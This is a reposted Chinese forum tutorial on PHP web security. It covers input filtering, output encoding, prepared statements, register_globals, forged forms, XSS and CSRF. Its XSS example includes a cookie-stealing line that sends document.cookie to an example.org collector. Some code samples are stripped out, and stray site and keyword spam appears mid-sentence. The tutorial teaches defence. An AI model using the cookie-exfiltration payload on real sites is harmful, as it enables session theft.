找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 538|回复: 0

[转载]PHP安全

[复制链接]
发表于 2011-10-10 08:25:27 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
  一、概念和原则
  所有的输入数据都是不安全的
  我们不能信任任何外来的数据,例如用户的表单提交数据、请求字符串、甚至是RSS种子,都不能信任。这些数据都可以被伪造。这些数据中可能故意包含某些字符,破坏程序的运行环境,例如可能包含有害的javascript代码。
  因此,PHP预定义全局数组中的数据都有可能是伪造信息,包括$_POST,$_GET,$_COOKIE,甚至包括$_SERVER数组,因为这个数组中的部分数据是由客户端提供的信息。唯一的例外是$_SESSION,因为SESSION数据是保存在服务器上的。
  总结:在处理输入数据之前,先进行过滤,有两种过滤方法:白名单和黑名单
  黑名单和白名单过滤
  黑名单过滤更宽松,它假设我们知道所有不能答应通过的内容。例如预先定义一系列的单词表,只要不在这个单词表中出现的内容都是合法的。
  举例:获得用户输入的用户名和密码以后,我们要进行过滤,不答应用户输入单引号,双引号,等号,大于小于号,分号等等,因为这些符号可能影响我们SQL语句的结果,导致执行了意料之外的SQL,对数据安全造成严重破坏
  白名单过滤更严格,他假设我们只知道能答应通过的内容。例如预先定义一系列规则,只有满足这个规则的内容才是合法的。
  举例:获得用户输入的用户名和密码以后,我们要进行过滤,只允许用户输入字母和数字,因为我们确信这些符号不可能影响我们SQL语句的结果。
  对输入进行过滤
  我们可以在客户端使用javascript脚本对输入数据进行过滤验证,但是不能只依靠客户端,因为数据可以不通过你编写的客户端发送到服务器,因此,我们可以在客户端进行校验以提高用户感受,但在服务器端对数据进行验证是必须的。
  TIPS:可以使用ctype_alpha()函数来验证内容是否全部由字母组成,ctype_alnum()判断内容是否全由数字组成。
  对输出进行适当编码
  不当的输入数据可能危害你的程序,不当的输出同样有可能危害你的客户。Web程序主要是与数据库和浏览器打交道,根据数据输出对象的不同,要进行相应的编码。
  如果是输出数据到浏览器www.renwu8.net,那么要检查数据是否符合HTML规范,例如用于表示一个特定的标记,因此如果你的数据中包含,就需要对它们进行编码,以保证浏览器能够正确识别
  TIPS:htmlspecialchars()和htmlentities()函数可以对HTML特殊符号进行编码,推荐使用后者
  如果是输出数据到数据库,那么可以使用*_escape_string()函数来对SQL语句编码,推荐使用预编译处理PreparedSQL语句。从PHP5.1开始引入了PDO对象,可以在所有数据库引擎上提供PreparedSQL语句功能。即使某个数据库引擎不支持PreparedSQL,PDO也会自动为你进行语法转换。
  举例
  //对输入进行过滤
  $clean=array();
  if(ctype_alpha($_POST[’username’]))
  {
  $clean[’username’]=$_POST[’username’];
  }
  //使用占位符来编写SQL语句
  $sql=’SELECT*FROMusersWHEREusername=:username’;
  //创建预编译语句对象
  $stmt=$dbh->prepare($sql);
  //绑定用户名参数
  $stmt->bindParam(’:username’,$clean[’username’]);
  //执行并获取结果集
  $stmt->execute();
  $results=$stmt->fetchAll();
  RegisterGlobals
  从PHP4.2.0版开始,配置文件中register_globals的默认值从on改为off。当register_globals的默认值为on时,所有变量(请求、表单、会话、COOKIE)都直接注入代码,也就是说当你使用$a这个变量时,这个变量的数值有可能来自任何地方(请求、表单、会话、COOKIE),这给程序员开发带来了便利,但如果程序员的代码不严谨的话,将带来安全隐患
  例如
  
  等到PHP6推出,这个register_globals配置项将被取消。
  二、网站安全
  伪造表单
  要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER["HTTP_REFERER"]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。所以必须在服务器端对数据进行验证!
  跨站脚本攻击(XSS)
  跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:
  你开发了一个留言程序,php免费空间这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言
  
  document.location=’’http://example.org/getcookies.php?cookies=’’
  +document.cookie;
  
  那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、人物吧密码、电话等隐私信息)发送到另外一个指定的网站。
  这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成
  
  document.location='http://example.org/getcookies.php?cookies='
  +document.cookie;
  
  因此也就不能造成危害了
  跨站请求伪造(CSRF)
  XSS攻击依靠的是用户对于网站程序的信任,而CSRF攻击依靠的是网站对于用户的信任。例如:
  一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1
  那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。
  对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操纵。
  预防CSRF请求可以采取以下方法
  1)对于关键行为,避免使用$_GET,$_REQUEST,只使用$_POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)
  2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。
  3)对于关键行为,设置令牌,例如
  
  
  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

返回顶部快速回复上一主题下一主题返回列表找客服手机访问
快速回复 返回顶部 返回列表